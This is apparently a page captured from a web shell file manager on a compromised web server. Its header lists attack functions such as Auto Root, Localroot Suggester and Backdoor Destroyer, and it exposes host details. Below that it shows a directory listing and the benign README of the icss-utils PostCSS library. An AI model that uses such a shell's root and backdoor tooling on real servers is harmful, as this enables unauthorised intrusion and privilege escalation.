Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.134.253.166
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
unp-musonza /
node_modules /
icss-utils /
Delete
Unzip
Name
Size
Permission
Date
Action
lib
[ DIR ]
drwxr-xr-x
2021-02-04 21:24
README.md
1.83
KB
-rw-r--r--
2017-05-26 19:55
package.json
2.04
KB
-rw-r--r--
2021-02-04 21:24
Save
Rename
[](https://travis-ci.org/css-modules/icss-utils) # ICSS Utils ## replaceSymbols Governs the way tokens are searched & replaced during the linking stage of ICSS loading. This is broken into its own module in case the behaviour needs to be replicated in other PostCSS plugins (i.e. [CSS Modules Values](https://github.com/css-modules/postcss-modules-values)) ```js import { replaceSymbols, replaceValueSymbols } from "icss-utils" replaceSymbols(css, replacements) replaceValueSymbols(string, replacements) ``` Where: - `css` is the PostCSS tree you're working with - `replacements` is an JS object of `symbol: "replacement"` pairs, where all occurrences of `symbol` are replaced with `replacement`. A symbol is a string of alphanumeric, `-` or `_` characters. A replacement can be any string. They are replaced in the following places: - In the value of a declaration, i.e. `color: my_symbol;` or `box-shadow: 0 0 blur spread shadow-color` - In a media expression i.e. `@media small {}` or `@media screen and not-large {}` ## extractICSS(css, removeRules = true) Extracts and remove (if removeRules is equal true) from PostCSS tree `:import` and `:export` statements. ```js import postcss from 'postcss'; import { extractICSS } from 'icss-utils' const css = postcss.parse(` :import(colors) { a: b; } :export { c: d; } `) extractICSS(css) /* { icssImports: { colors: { a: 'b' } }, icssExports: { c: 'd' } } */ ``` ## createICSSRules(icssImports, icssExports) Converts icss imports and exports definitions to postcss ast ```js createICSSRules({ colors: { a: 'b' } }, { c: 'd' }) ``` ## License ISC --- Glen Maddern and Bogdan Chadkin, 2015.